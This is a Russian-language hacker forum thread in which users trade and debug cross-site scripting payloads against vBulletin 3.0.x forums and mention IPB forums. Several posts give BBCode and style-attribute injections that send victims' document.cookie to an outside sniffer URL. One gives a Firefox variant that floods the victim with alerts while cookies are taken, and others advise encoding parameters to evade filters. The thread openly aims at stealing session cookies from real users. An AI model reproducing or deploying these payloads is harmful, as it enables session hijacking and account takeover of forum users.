Есть ли XSS в vBulletin 3.0.8 ?

[FoGorm]

Если какие-нибуль Xss? Пробывал для предыдущих версий (описанных на форуме) ничего не работает. Жду вашим комментариев и советов.

[•••™NO FEAR™•••]

Если какие-нибуль Xss? Пробывал для предыдущих версий (описанных на форуме) ничего не работает. Жду вашим комментариев и советов.
Прочитай статью WJ, может она тебе поможет ))))))))))))))))))))
http://forum.antichat.ru/thread11807.html

[FoGorm]

2 Him@s, неа :( Просто выводит вот такой текст:

[FONT=Arial size=20 style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); / ]wj" target="_blank">http://www.]wj

А http://www.] стает линком на http://www.]/ и все

[FoGorm]

Может в твоем HTML коде нужно что-то заменить или убрать? :confused:

[_-[A.M.D]HiM@S-_]

так правильно...тока для начала ты его закодируй:
http://www.h4cky0u.org/encrypt/index.php

[FoGorm]

Все или часть? И какую кодировку выбирать? Можешь уже сюда кинуть закодированный код?

[FoGorm]

ты его проверял? :(
У меня вот что в сообщение пишет:

wj" target="_blank">http://www.][FONT=Arial style=d...41; / ]wj

http://www.] - является ссылкой на http://www.]/

:((((((

ЗЫ.. + перед документ.кукис не убрал.. знаю что там он нуже.. и пишет то что я выше написал.

[FoGorm]

у меня на локалхосте, я там пробую... могу дать ссылку на дистрибутив

http://vbulletin.net.ru
Вот здесь скачай 3.0.8

[FoGorm]

что никто так помочь и не сможет? :(

[Algol]

vBulletin 3.0.3:

[ EMAIL=[ URL= as=`s@wew.ew]mailto:assss@wew.ew ]
sssssssssssssssssssssssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:alert(/Hi_from_Algol/))`


(без пробела после квадратной скобки)

[FoGorm]

Там много квадратных скобок.. убрал после первой, перед Email, и после второй, перед Url, но всеравно не работает :(

[Algol]

Что значит не работает ?? Какой результирующий HTML ?
В слове javascrp t - перед t - табуляция.

[1251soldier]

Vrode tyt esche probel nado ubrat "ew ]" esli ya ne oshibaus.

[FoGorm]

mailto:assss@wew.ew ]
sssssssssssssssssssssssssss[/URL]` style=`background:url(javascript:alert(/Hi_from_Algol/))`

Вот так выводит и все :(

[Algol]

Вот так выводит и все :(
Ну значит не судьба :)

[Algol]

Кстати еще должен быть пассивыный XSS в теме письма:
Тема ПМ<script>alert()</script> Если они это не пофиксили еще...

[Ricky]

mailto:assss@wew.ew ]
sssssssssssssssssssssssssss[/URL]` style=`background:url(javascript:alert(/Hi_from_Algol/))`

Вот так выводит и все :(
Это потому что Алгол дал тебе для версии 3.0.3

После версии 3.0.6, фильтры очень сильно изменились.

http://www.]wj (wj[url)[/URL]

В атрибутах style, в параметрах, (То что идет после знака равенства) убери плюсики (+).

Эту строку +document.cookie; не трогай.

А вообще пора бы этот код сделать чтобы работал для всех браузеров. Я как приду, напишу тебе чтобы работало не только в ИЕ, но и в Опере и в Фаерфокс.

[FoGorm]

Отлично... просто класс, все действительно работает! Очень благодарен, спасибо большое!!! Если можешь - напиши чтобы работало и в остальных браузерах, буду ждать! Еще раз огромное спасибо!

[Horse]

style=background:url('javascript:alert(/wj/)');

Сделай так, чтобы работало не только в ИЕ, но и в Опера и Фаерфокс. Но так как в ФФ есть авто-защита, то напиши вот так:

style=position:absolute;top:0px;left:0x;width:100% ;height:100%; onmouseover=alert(/wj/);pic=new Image();pic.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;

Этот код с паливой, но будет работать и в Фаефокс. Потому что код с паливой, пришлось жертве дать бесчисленное количество алертов. Куки придут на античатовский сниффер, а пока жертва опомнится, у тебя есть несколько секунд делать то, что ты хочешь. В зависимости от знаний твоей жертвы.

Все параметры тоже закодируй.

[Horse]

Кстати, тем кому надо чтобы можно было воровать куки в Фаерфоксе на форумах IPB от 2.* до 2.1.3, то вот вам код:


Happy New Year![/topic]]enjoy

Параметры тут тоже закодируйте.

В версии 2.1.4 теги пост и топик уже пропаченны из-за того, что один человечек на меня настукал компании Инвизион, но как всегда, есть и другие теги, так что не беда. :rolleyes:

[FoGorm]

Класс!!! Джордан ты лучший!!! Если можешь свяжись со мной, очень нужно, fogorm@ua.fm, пошли сюды свою асю, или если можешь здесь письмом отправь.

[External]

271297145